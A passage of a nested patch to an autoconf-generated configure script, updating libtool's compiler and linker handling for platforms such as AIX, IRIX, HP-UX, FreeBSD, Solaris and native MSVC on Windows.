+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -8771,7 +9281,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8828,13 +9338,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8895,6 +9409,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -9245,7 +9764,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -9344,12 +9864,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -9363,8 +9883,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -9382,8 +9902,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9429,8 +9949,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9560,7 +10080,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9573,22 +10099,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -9600,7 +10133,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9613,22 +10152,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -9673,20 +10219,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -9747,7 +10336,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -9755,7 +10344,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -9771,7 +10360,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9795,10 +10384,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9877,23 +10466,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9978,7 +10580,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -9997,9 +10599,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -10575,8 +11177,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -10609,13 +11212,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -11517,7 +12178,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11520 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11561,10 +12222,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -11623,7 +12284,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11626 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11667,10 +12328,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -13490,7 +14151,7 @@ cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1
+ #
+ # INIT-COMMANDS
+ #
+-AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir"
++AMDEP_TRUE="$AMDEP_TRUE" MAKE="${MAKE-make}"
+
+
+ # The HP-UX ksh and POSIX shell print the target directory to stdout
+@@ -13528,13 +14189,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
